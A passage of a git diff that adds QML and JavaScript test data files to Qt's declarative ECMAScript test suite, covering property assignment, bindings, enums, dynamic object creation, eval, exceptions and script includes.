+ rectFProperty: if(1) "1000.1,-10.9,400x90.99"
+ boolProperty: if(1) true
+ variantProperty: if(1) "Hello World!"
+ vectorProperty: if(1) "10,1,2.2"
+ urlProperty: if(1) "main.qml"
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/assignBasicTypes.qml b/tests/auto/declarative/qdeclarativeecmascript/data/assignBasicTypes.qml
new file mode 100644
index 00000000..9443c01d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/assignBasicTypes.qml
@@ -0,0 +1,29 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+MyTypeObject {
+ Component.onCompleted: {
+ flagProperty = "FlagVal1 | FlagVal3"
+ enumProperty = "EnumVal2"
+ stringProperty = "Hello World!"
+ uintProperty = 10
+ intProperty = -19
+ realProperty = 23.2
+ doubleProperty = -19.75
+ floatProperty = 8.5
+ colorProperty = "red"
+ dateProperty = "1982-11-25"
+ timeProperty = "11:11:32"
+ dateTimeProperty = "2009-05-12T13:22:01"
+ pointProperty = "99,13"
+ pointFProperty = "-10.1,12.3"
+ sizeProperty = "99x13"
+ sizeFProperty = "0.1x0.2"
+ rectProperty = "9,7,100x200"
+ rectFProperty = "1000.1,-10.9,400x90.99"
+ boolProperty = true
+ variantProperty = "Hello World!"
+ vectorProperty = "10,1,2.2"
+ urlProperty = "main.qml"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/attachedProperty.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/attachedProperty.2.qml
new file mode 100644
index 00000000..a7184c92
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/attachedProperty.2.qml
@@ -0,0 +1,22 @@
+import Qt.test 1.0
+import Qt.test 1.0 as Namespace
+
+MyQmlObject {
+ property alias a: me.a
+ property alias b: me.a
+ property alias c: me.a
+ property alias d: me.a
+
+ property MyQmlObject obj
+ obj: MyQmlObject {
+ MyQmlObject.value2: 13
+
+ id: me
+ property int a: MyQmlObject.value2 * 2
+ property int b: Namespace.MyQmlObject.value2 * 2
+ property int c: me.Namespace.MyQmlObject.value * 2
+ property int d: me.Namespace.MyQmlObject.value * 2
+ }
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/attachedProperty.qml b/tests/auto/declarative/qdeclarativeecmascript/data/attachedProperty.qml
new file mode 100644
index 00000000..061eda0e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/attachedProperty.qml
@@ -0,0 +1,11 @@
+import Qt.test 1.0
+import Qt.test 1.0 as Namespace
+
+MyQmlObject {
+ id: me
+ property int a: MyQmlObject.value
+ property int b: Namespace.MyQmlObject.value
+ property int c: me.Namespace.MyQmlObject.value
+ property int d: me.Namespace.MyQmlObject.value
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/attachedPropertyScope.qml b/tests/auto/declarative/qdeclarativeecmascript/data/attachedPropertyScope.qml
new file mode 100644
index 00000000..c66ef693
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/attachedPropertyScope.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+QtObject {
+ property int value: 9
+ property int value2
+
+ MyQmlObject.onMySignal: value2 = value
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/bindingLoop.qml b/tests/auto/declarative/qdeclarativeecmascript/data/bindingLoop.qml
new file mode 100644
index 00000000..80545cf7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/bindingLoop.qml
@@ -0,0 +1,14 @@
+import Qt.test 1.0
+
+MyQmlContainer {
+ children : [
+ MyQmlObject {
+ id: object1
+ stringProperty: "hello" + object2.stringProperty
+ },
+ MyQmlObject {
+ id: object2
+ stringProperty: "hello" + object1.stringProperty
+ }
+ ]
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/blank.js b/tests/auto/declarative/qdeclarativeecmascript/data/blank.js
new file mode 100644
index 00000000..e69de29b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/blank.js
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/boolPropertiesEvaluateAsBool.1.qml b/tests/auto/declarative/qdeclarativeecmascript/data/boolPropertiesEvaluateAsBool.1.qml
new file mode 100644
index 00000000..3147f639
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/boolPropertiesEvaluateAsBool.1.qml
@@ -0,0 +1,5 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ stringProperty: trueProperty?'pass':'fail'
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/boolPropertiesEvaluateAsBool.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/boolPropertiesEvaluateAsBool.2.qml
new file mode 100644
index 00000000..c89bb49b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/boolPropertiesEvaluateAsBool.2.qml
@@ -0,0 +1,5 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ stringProperty: falseProperty?'fail':'pass'
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/bug.1.qml b/tests/auto/declarative/qdeclarativeecmascript/data/bug.1.qml
new file mode 100644
index 00000000..68dbcfad
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/bug.1.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+QtObject {
+ property int a: 10
+ property bool b: false
+
+ property int test
+
+ test: ((a == 10)?(a + 1):0) + ((b == true)?9:3)
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/canAssignNullToQObject.1.qml b/tests/auto/declarative/qdeclarativeecmascript/data/canAssignNullToQObject.1.qml
new file mode 100644
index 00000000..3fd9131b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/canAssignNullToQObject.1.qml
@@ -0,0 +1,9 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ property bool runTest: false
+
+ property variant a: MyQmlObject {}
+
+ objectProperty: (runTest == false)?a:null
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/canAssignNullToQObject.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/canAssignNullToQObject.2.qml
new file mode 100644
index 00000000..0f232975
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/canAssignNullToQObject.2.qml
@@ -0,0 +1,11 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+MyQmlObject {
+ objectProperty: MyQmlObject {}
+
+ Component.onCompleted: {
+ objectProperty = null;
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/compiled.qml b/tests/auto/declarative/qdeclarativeecmascript/data/compiled.qml
new file mode 100644
index 00000000..58b7adb8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/compiled.qml
@@ -0,0 +1,48 @@
+import QtQuick 1.0
+
+QtObject {
+ //real
+ property real test1: a + b
+ property real test2: a - b
+ property bool test3: (a < b)
+ property bool test4: (a > b)
+ property bool test5: (a == b)
+ property bool test6: (a != b)
+
+ //int
+ property int test7: c + d
+ property int test8: d - c
+ property bool test9: (c < d)
+ property bool test10: (c > d)
+ property bool test11: (c == d)
+ property bool test12: (c != d)
+
+ //string
+ property string test13: e + f
+ property string test14: e + " " + f
+ property bool test15: (e == f)
+ property bool test16: (e != f)
+
+ //type conversion
+ property int test17: a
+ property real test18: d
+ property int test19: g
+ property real test20: g
+ property string test21: g
+ property string test22: h
+ property bool test23: i
+ property color test24: j
+ property color test25: k
+
+ property real a: 4.5
+ property real b: 11.2
+ property int c: 9
+ property int d: 176
+ property string e: "Hello"
+ property string f: "World"
+ property variant g: 6.7
+ property variant h: "!"
+ property variant i: true
+ property string j: "#112233"
+ property string k: "#aa112233"
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/compositePropertyType.qml b/tests/auto/declarative/qdeclarativeecmascript/data/compositePropertyType.qml
new file mode 100644
index 00000000..1af77d5a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/compositePropertyType.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+QtObject {
+ property CustomObject myObject
+ myObject: CustomObject { }
+
+ Component.onCompleted: console.log(myObject.greeting)
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/constantsOverrideBindings.1.qml b/tests/auto/declarative/qdeclarativeecmascript/data/constantsOverrideBindings.1.qml
new file mode 100644
index 00000000..13c5ae5f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/constantsOverrideBindings.1.qml
@@ -0,0 +1,8 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ property int c1: 0
+ property int c2: c1
+
+ onBasicSignal: c2 = 13
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/constantsOverrideBindings.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/constantsOverrideBindings.2.qml
new file mode 100644
index 00000000..207a06b7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/constantsOverrideBindings.2.qml
@@ -0,0 +1,11 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ property alias c1: myConstants.c1
+ property alias c2: myConstants.c2
+
+ objectProperty: ConstantsOverrideBindings {
+ id: myConstants
+ c2: 10
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/constantsOverrideBindings.3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/constantsOverrideBindings.3.qml
new file mode 100644
index 00000000..ca9d1d8a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/constantsOverrideBindings.3.qml
@@ -0,0 +1,7 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ property int c1: 0
+ property int c2: c1
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/constantsOverrideBindings.4.qml b/tests/auto/declarative/qdeclarativeecmascript/data/constantsOverrideBindings.4.qml
new file mode 100644
index 00000000..5a2091f7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/constantsOverrideBindings.4.qml
@@ -0,0 +1,11 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ property alias c1: myConstants.c1
+ property alias c3: myConstants.c3
+
+ objectProperty: ConstantsOverrideBindings {
+ id: myConstants
+ c3: 10
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/declarativeToString.qml b/tests/auto/declarative/qdeclarativeecmascript/data/declarativeToString.qml
new file mode 100644
index 00000000..ac296ce2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/declarativeToString.qml
@@ -0,0 +1,11 @@
+import Qt.test 1.0
+
+MyQmlObject{
+ id: obj
+ objectName: "objName"
+ function testToString()
+ {
+ obj.stringProperty = obj.toString();
+ }
+
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/deferredProperties.qml b/tests/auto/declarative/qdeclarativeecmascript/data/deferredProperties.qml
new file mode 100644
index 00000000..e01f708a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/deferredProperties.qml
@@ -0,0 +1,10 @@
+import Qt.test 1.0
+
+MyDeferredObject {
+ id: root
+ value: 10
+ objectProperty: MyQmlObject {
+ value: root.value
+ }
+ objectProperty2: MyQmlObject { id: blah }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/deferredPropertiesErrors.qml b/tests/auto/declarative/qdeclarativeecmascript/data/deferredPropertiesErrors.qml
new file mode 100644
index 00000000..18a57ba6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/deferredPropertiesErrors.qml
@@ -0,0 +1,10 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+MyDeferredObject {
+ value: undefined // error is resolved before complete
+ objectProperty: undefined // immediate error
+ objectProperty2: QtObject {
+ Component.onCompleted: value = 10
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/deleteLater.qml b/tests/auto/declarative/qdeclarativeecmascript/data/deleteLater.qml
new file mode 100644
index 00000000..131fa6f2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/deleteLater.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+QtObject {
+ id: root
+ property bool test: false
+
+ Component.onCompleted: {
+ try {
+ root.deleteLater()
+ } catch(e) {
+ test = true;
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/deletedEngine.qml b/tests/auto/declarative/qdeclarativeecmascript/data/deletedEngine.qml
new file mode 100644
index 00000000..4de405dc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/deletedEngine.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+
+QtObject {
+ function calculate() {
+ return b * 13;
+ }
+
+ property int a: calculate()
+ property int b: 3
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/deletedObject.qml b/tests/auto/declarative/qdeclarativeecmascript/data/deletedObject.qml
new file mode 100644
index 00000000..7ba51ef0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/deletedObject.qml
@@ -0,0 +1,25 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+QtObject {
+ property variant obj
+ obj: MyQmlObject {
+ id: myObject
+ value: 92
+ }
+
+ property bool test1: false
+ property bool test2: false
+ property bool test3: false
+ property bool test4: false
+
+ Component.onCompleted: {
+ test1 = myObject.value == 92;
+ test2 = obj.value == 92;
+
+ myObject.deleteOnSet = 1;
+
+ test3 = myObject == null
+ test4 = obj == null
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.helper.qml b/tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.helper.qml
new file mode 100644
index 00000000..d790d634
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.helper.qml
@@ -0,0 +1,6 @@
+import Qt.test 1.0
+
+MyQmlObject{
+ objectName: "objectTwo"
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.qml b/tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.qml
new file mode 100644
index 00000000..7b132e1e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.qml
@@ -0,0 +1,27 @@
+import Qt.test 1.0
+
+MyQmlObject{
+ id: obj
+ objectName: "obj"
+ function createOne()
+ {
+ obj.objectProperty = Qt.createQmlObject('import Qt.test 1.0; MyQmlObject{objectName:"objectOne"}', obj);
+ }
+
+ function createTwo()
+ {
+ var component = Qt.createComponent('dynamicCreation.helper.qml');
+ obj.objectProperty = component.createObject(obj);
+ }
+
+ function createThree()
+ {
+ obj.objectProperty = Qt.createQmlObject('TypeForDynamicCreation{}', obj);
+ }
+
+ function dontCrash()
+ {
+ var component = Qt.createComponent('file-doesnt-exist.qml');
+ obj.objectProperty = component.createObject(obj);
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/dynamicDeletion.qml b/tests/auto/declarative/qdeclarativeecmascript/data/dynamicDeletion.qml
new file mode 100644
index 00000000..f41e5262
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/dynamicDeletion.qml
@@ -0,0 +1,20 @@
+import Qt.test 1.0
+
+MyQmlObject{
+ id: obj
+ objectName: "obj"
+ function create()
+ {
+ obj.objectProperty = Qt.createQmlObject('import Qt.test 1.0; MyQmlObject{objectName:"emptyObject"}', obj);
+ }
+
+ function killOther()
+ {
+ obj.objectProperty.destroy(500);
+ }
+
+ function killMe()
+ {
+ obj.destroy();//Must not segfault
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/enums.1.qml b/tests/auto/declarative/qdeclarativeecmascript/data/enums.1.qml
new file mode 100644
index 00000000..63518232
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/enums.1.qml
@@ -0,0 +1,20 @@
+import Qt.test 1.0
+import Qt.test 1.0 as Namespace
+
+MyQmlObject {
+ // Enums from non-namespaced type
+ property int a: MyQmlObject.EnumValue1
+ property int b: MyQmlObject.EnumValue2
+ property int c: MyQmlObject.EnumValue3
+ property int d: MyQmlObject.EnumValue4
+
+ // Enums from namespaced type
+ property int e: Namespace.MyQmlObject.EnumValue1
+ property int f: Namespace.MyQmlObject.EnumValue2
+ property int g: Namespace.MyQmlObject.EnumValue3
+ property int h: Namespace.MyQmlObject.EnumValue4
+
+ // Test that enums don't mask attached properties
+ property int i: MyQmlObject.value
+ property int j: Namespace.MyQmlObject.value
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/enums.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/enums.2.qml
new file mode 100644
index 00000000..bdc672fa
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/enums.2.qml
@@ -0,0 +1,8 @@
+import Qt.test 1.0
+import Qt.test 1.0 as Namespace
+
+MyQmlObject {
+ property int a: MyQmlObject.EnumValue10
+ property int b: Namespace.MyQmlObject.EnumValue10
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/eval.qml b/tests/auto/declarative/qdeclarativeecmascript/data/eval.qml
new file mode 100644
index 00000000..661cd5c4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/eval.qml
@@ -0,0 +1,27 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool test1: false;
+ property bool test2: false;
+ property bool test3: false;
+ property bool test4: false;
+ property bool test5: false;
+
+
+ property int a: 7
+ property int b: 8
+
+ Component.onCompleted: {
+ var b = 9;
+
+ test1 = (eval("a") == 7);
+ test2 = (eval("b") == 9);
+ try {
+ eval("c");
+ } catch(e) {
+ test3 = true;
+ }
+ test4 = (eval("console") == console);
+ test5 = (eval("Qt") == Qt);
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/exception.js b/tests/auto/declarative/qdeclarativeecmascript/data/exception.js
new file mode 100644
index 00000000..160bbfa5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/exception.js
@@ -0,0 +1 @@
+throw("Whoops!");
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/exceptionClearsOnReeval.qml b/tests/auto/declarative/qdeclarativeecmascript/data/exceptionClearsOnReeval.qml
new file mode 100644
index 00000000..a2f0d1a8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/exceptionClearsOnReeval.qml
@@ -0,0 +1,6 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ property bool test: objectProperty.objectProperty.trueProperty
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/exceptionProducesWarning.qml b/tests/auto/declarative/qdeclarativeecmascript/data/exceptionProducesWarning.qml
new file mode 100644
index 00000000..2102821a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/exceptionProducesWarning.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+MyQmlObject {
+ Component.onCompleted:
+ { throw(new Error("JS exception")) }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/exceptionProducesWarning2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/exceptionProducesWarning2.qml
new file mode 100644
index 00000000..c197ef83
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/exceptionProducesWarning2.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+MyQmlObject {
+ value: { throw(new Error("JS exception")) }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/extendedObjectPropertyLookup.qml b/tests/auto/declarative/qdeclarativeecmascript/data/extendedObjectPropertyLookup.qml
new file mode 100644
index 00000000..9738d2cf
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/extendedObjectPropertyLookup.qml
@@ -0,0 +1,8 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+QtObject {
+ property MyExtendedObject a;
+ a: MyExtendedObject { id: root }
+ property int b: Math.max(root.extendedProperty, 0)
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/extensionObjects.qml b/tests/auto/declarative/qdeclarativeecmascript/data/extensionObjects.qml
new file mode 100644
index 00000000..b0e897ef
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/extensionObjects.qml
@@ -0,0 +1,19 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+MyExtendedObject
+{
+ baseProperty: baseExtendedProperty
+ baseExtendedProperty: 13
+
+ coreProperty: extendedProperty
+ extendedProperty: 9
+
+ property QtObject nested: MyExtendedObject {
+ baseProperty: baseExtendedProperty
+ baseExtendedProperty: 13
+
+ coreProperty: extendedProperty
+ extendedProperty: 9
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/extensionObjectsPropertyOverride.qml b/tests/auto/declarative/qdeclarativeecmascript/data/extensionObjectsPropertyOverride.qml
new file mode 100644
index 00000000..3c443cb9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/extensionObjectsPropertyOverride.qml
@@ -0,0 +1,7 @@
+import Qt.test 1.0
+
+OverrideDefaultPropertyObject
+{
+ MyBaseExtendedObject {
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/function.qml b/tests/auto/declarative/qdeclarativeecmascript/data/function.qml
new file mode 100644
index 00000000..6cd8751c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/function.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool test1: false;
+ property bool test2: false;
+ property bool test3: false;
+
+ Component.onCompleted: {
+ var a = 10;
+
+ var func1 = new Function("a", "return a + 7");
+ var func2 = new Function("a", "return Qt.atob(a)");
+ var func3 = new Function("return a");
+
+ test1 = (func1(4) == 11);
+ test2 = (func2("Hello World!") == Qt.atob("Hello World!"));
+ try {
+ func3();
+ } catch(e) {
+ test3 = true;
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.1.qml b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.1.qml
new file mode 100644
index 00000000..09540f1f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.1.qml
@@ -0,0 +1,5 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ property variant a: function myFunction() { return 2; }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml
new file mode 100644
index 00000000..c8c926ae
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml
@@ -0,0 +1,73 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+import "functionAssignment.js" as Script
+
+MyQmlObject {
+ property variant a
+ property int aNumber: 10
+
+ property bool assignToProperty: false
+ property bool assignToPropertyFromJsFile: false
+
+ property bool assignWithThis: false
+ property bool assignWithThisFromJsFile: false
+
+ property bool assignToValueType: false
+
+ property bool assignFuncWithoutReturn: false
+ property bool assignWrongType: false
+ property bool assignWrongTypeToValueType: false
+
+
+ onAssignToPropertyChanged: {
+ function myFunction() {
+ return aNumber * 10;
+ }
+ a = myFunction;
+ }
+
+ property QtObject obj: QtObject {
+ property int aNumber: 4212
+ function myFunction() {
+ return this.aNumber * 10; // should use the aNumber from root, not this object
+ }
+ }
+ onAssignWithThisChanged: {
+ a = obj.myFunction;
+ }
+
+ onAssignToPropertyFromJsFileChanged: {
+ Script.bindPropertyWithThis()
+ }
+
+ onAssignWithThisFromJsFileChanged: {
+ Script.bindProperty()
+ }
+
+ property Text text: Text { }
+ onAssignToValueTypeChanged: {
+ text.font.pixelSize = (function() { return aNumber * 10; })
+ a = (function() { return text.font.pixelSize; })
+ }
+
+
+ // detecting errors:
+
+ onAssignFuncWithoutReturnChanged: {
+ function myFunction() {
+ }
+ a = myFunction;
+ }
+
+ onAssignWrongTypeChanged: {
+ function myFunction() {
+ return 'a string';
+ }
+ aNumber = myFunction;
+ }
+
+ onAssignWrongTypeToValueTypeChanged: {
+ text.font.pixelSize = (function() { return 'a string'; })
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.js b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.js
new file mode 100644
index 00000000..14daa762
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.js
@@ -0,0 +1,17 @@
+function bindProperty()
+{
+ a = (function(){ return aNumber * 10 })
+}
+
+
+function TestObject() { }
+TestObject.prototype.aNumber = 928349
+TestObject.prototype.bindFunction = function() {
+ return this.aNumber * 10 // this should not use the TestObject's aNumber
+}
+var testObj = new TestObject()
+
+function bindPropertyWithThis()
+{
+ a = testObj.bindFunction
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/functionErrors.qml b/tests/auto/declarative/qdeclarativeecmascript/data/functionErrors.qml
new file mode 100644
index 00000000..2ba02d1d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/functionErrors.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+QtObject {
+ function myFunction() {
+ a = 10;
+ }
+
+ Component.onCompleted: myFunction();
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/idShortcutInvalidates.1.qml b/tests/auto/declarative/qdeclarativeecmascript/data/idShortcutInvalidates.1.qml
new file mode 100644
index 00000000..6dcdefcb
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/idShortcutInvalidates.1.qml
@@ -0,0 +1,13 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+MyQmlObject {
+ objectProperty: if(1) otherObject
+
+ property variant obj
+
+ obj: QtObject {
+ id: otherObject
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/idShortcutInvalidates.qml b/tests/auto/declarative/qdeclarativeecmascript/data/idShortcutInvalidates.qml
new file mode 100644
index 00000000..32b86110
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/idShortcutInvalidates.qml
@@ -0,0 +1,12 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+MyQmlObject {
+ objectProperty: otherObject
+
+ property variant obj
+
+ obj: QtObject {
+ id: otherObject
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/in.qml b/tests/auto/declarative/qdeclarativeecmascript/data/in.qml
new file mode 100644
index 00000000..f9cccb5a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/in.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+Item {
+ id: root
+ property bool test1: "x" in root
+ property bool test2: !("foo" in root)
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/include.js b/tests/auto/declarative/qdeclarativeecmascript/data/include.js
new file mode 100644
index 00000000..232fd808
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/include.js
@@ -0,0 +1,8 @@
+var test1 = true
+var test2 = false
+var test3 = false
+
+function go() {
+ Qt.include("js/include2.js");
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/include.qml b/tests/auto/declarative/qdeclarativeecmascript/data/include.qml
new file mode 100644
index 00000000..61b04618
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/include.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+import "include.js" as IncludeTest
+
+QtObject {
+ property int test0: 0
+ property bool test1: false
+ property bool test2: false
+ property bool test2_1: false
+ property bool test3: false
+ property bool test3_1: false
+
+ property int testValue: 99
+
+ Component.onCompleted: {
+ IncludeTest.go();
+ test0 = IncludeTest.value
+ test1 = IncludeTest.test1
+ test2 = IncludeTest.test2
+ test2_1 = IncludeTest.test2_1
+ test3 = IncludeTest.test3
+ test3_1 = IncludeTest.test3_1
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/include_callback.js b/tests/auto/declarative/qdeclarativeecmascript/data/include_callback.js
new file mode 100644
index 00000000..ea19eba3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/include_callback.js
@@ -0,0 +1,11 @@
+function go() {
+ var a = Qt.include("missing.js", function(o) { test2 = o.status == o.NETWORK_ERROR });
+ test1 = a.status == a.NETWORK_ERROR
+
+ var b = Qt.include("blank.js", function(o) { test4 = o.status == o.OK });
+ test3 = b.status == b.OK
+
+ var c = Qt.include("exception.js", function(o) { test6 = o.status == o.EXCEPTION });
+ test5 = c.status == c.EXCEPTION
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/include_callback.qml b/tests/auto/declarative/qdeclarativeecmascript/data/include_callback.qml
new file mode 100644
index 00000000..1633ebaa
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/include_callback.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.0
+import "include_callback.js" as IncludeTest
+
+QtObject {
+ property bool test1: false
+ property bool test2: false
+ property bool test3: false
+ property bool test4: false
+ property bool test5: false
+ property bool test6: false
+
+ Component.onCompleted: {
+ IncludeTest.go();
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/include_pragma.qml b/tests/auto/declarative/qdeclarativeecmascript/data/include_pragma.qml
new file mode 100644
index 00000000..a6489694
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/include_pragma.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+import "include_pragma_outer.js" as Script
+
+Item {
+ property int test1
+
+ Component.onCompleted: {
+ test1 = Script.callFunction()
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/include_pragma_inner.js b/tests/auto/declarative/qdeclarativeecmascript/data/include_pragma_inner.js
new file mode 100644
index 00000000..a0380a25
